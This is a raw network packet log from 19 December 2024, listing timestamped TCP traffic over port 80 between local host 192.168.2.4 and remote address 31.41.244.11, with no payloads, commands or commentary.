Dec 19, 2024 14:10:30.961962938 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.962028027 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.962131023 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.962742090 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.962793112 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.962860107 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.962918043 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.963628054 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.963704109 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.963757992 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.963809967 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.964452028 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.964534044 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.964556932 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.964857101 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.965296030 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.965361118 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.965387106 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.965459108 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.966181040 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.966233015 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.966284990 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.966317892 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.967015982 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.967134953 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.967173100 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.967228889 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.967833042 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.967962027 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.967988014 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.968038082 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.968641996 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.968729973 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.968754053 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.968782902 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.969480991 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.969548941 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.969604969 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.970359087 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.970426083 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.970498085 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.971148968 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.971214056 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.971357107 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.971431017 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.972003937 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.972085953 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.972111940 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.972182035 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.972829103 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.972877979 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.972934961 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.973679066 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.973737001 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.973807096 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.973923922 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.974646091 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.974697113 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.974750996 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.974797964 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.975475073 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.975532055 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.975569010 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.975620985 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.976214886 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.976298094 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.976300001 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.976351023 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.977044106 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.977103949 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.977127075 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.977178097 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.977886915 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.977999926 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.978022099 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.978075027 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.978701115 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.978763103 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.978802919 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.978878021 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.979558945 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.979623079 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.979661942 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.979779005 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.980411053 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.980474949 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.980504990 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.980566978 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.981230021 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.981285095 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.981473923 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.981530905 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.985519886 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.985532999 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.985544920 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.985555887 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.985568047 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.985598087 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.985630989 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.985682011 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.985693932 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.985738993 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.986145020 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.986202002 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.986947060 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.987004995 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.987099886 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.987153053 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.987922907 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.988006115 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.988065958 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.988135099 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.988718033 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.988770962 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.988889933 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.988953114 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.989618063 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.989686966 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.989785910 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.989841938 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.990428925 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.990483999 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.990600109 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.990650892 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.991372108 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.991384983 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.991429090 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.991462946 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.991996050 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.992054939 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.992144108 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.992197990 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.992861986 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.992932081 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.993015051 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.993072033 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.993815899 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.993880987 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.118841887 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.118910074 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.118963957 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.119023085 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.119335890 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.119391918 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.119513035 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.119585037 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.120114088 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.120188951 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.120222092 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.120280027 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.120940924 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.120996952 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.121048927 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.121100903 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.121752024 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.121812105 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.121857882 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.121910095 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.122600079 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.122663975 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.122730017 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.122786045 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.123459101 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.123511076 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.123549938 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.123630047 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.146251917 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.146264076 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.146316051 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.146348000 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.146636009 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.146683931 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.146704912 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.146752119 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.147408962 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.147428036 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.147458076 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.147483110 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.148165941 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.148220062 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.148230076 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.148278952 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.148571968 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.148626089 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.148684978 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.148736000 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.149482012 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.149508953 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.149533987 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.149555922 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.150289059 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.150342941 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.150374889 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.150427103 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.151091099 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.151138067 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.151199102 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.151251078 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.151998043 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.152009964 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.152056932 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.152766943 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.152808905 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.152873039 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.152920961 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.153623104 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.153676987 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.153711081 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.153764009 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.154443026 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.154494047 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.154560089 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.154628038 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.155288935 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.155347109 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.155402899 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.155455112 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.156133890 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.156188965 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.156219959 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.156270981 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.157006025 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.157067060 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.157121897 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.157179117 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.157813072 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.157890081 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.158124924 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.158179998 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.158930063 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.158982992 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.159084082 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.159137011 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.159953117 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.160007954 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.160118103 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.160181999 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.160841942 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.160902977 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.160929918 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.160979033 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.161715984 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.161772013 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.161792040 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.161844969 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.162487984 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.162540913 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.162702084 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.162755966 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.163175106 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.163225889 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.163297892 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.163350105 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.163779974 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.163836956 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.163892984 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.163955927 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.164625883 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.164688110 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.164743900 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.164803982 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.165380955 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.165441990 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.165494919 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.165556908 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.166207075 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.166268110 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.166306973 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.166378975 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.167099953 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.167165041 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.167203903 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.167263985 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.167896032 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.167973995 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.168021917 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.168081045 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.168737888 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.168796062 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.168884039 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.168941021 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.169589043 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.169661045 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.169702053 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.169754982 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.170444965 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.170510054 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.170553923 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.170612097 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.171277046 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.171344995 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.171346903 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.171401024 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.172106028 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.172162056 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.172205925 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.172265053 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.172955990 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.173016071 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.173063040 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.173121929 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.173783064 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.173844099 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.173892021 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.173949003 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.174669981 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.174943924 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.174993038 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.175049067 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.175542116 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.175597906 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.175652027 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.175712109 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.176322937 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.176338911 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.176379919 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.176409960 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.177150965 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.177202940 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.177249908 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.177306890 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.177964926 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.178040028 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.178091049 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.178149939 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.178814888 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.178875923 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.178920984 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.178982973 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.179686069 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.179765940 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.179771900 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.179825068 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.180557013 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.180623055 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.180691957 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.180742979 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.181492090 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.181550026 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.181602955 CET	80	49800	31.41.244.11	192.168.2.4
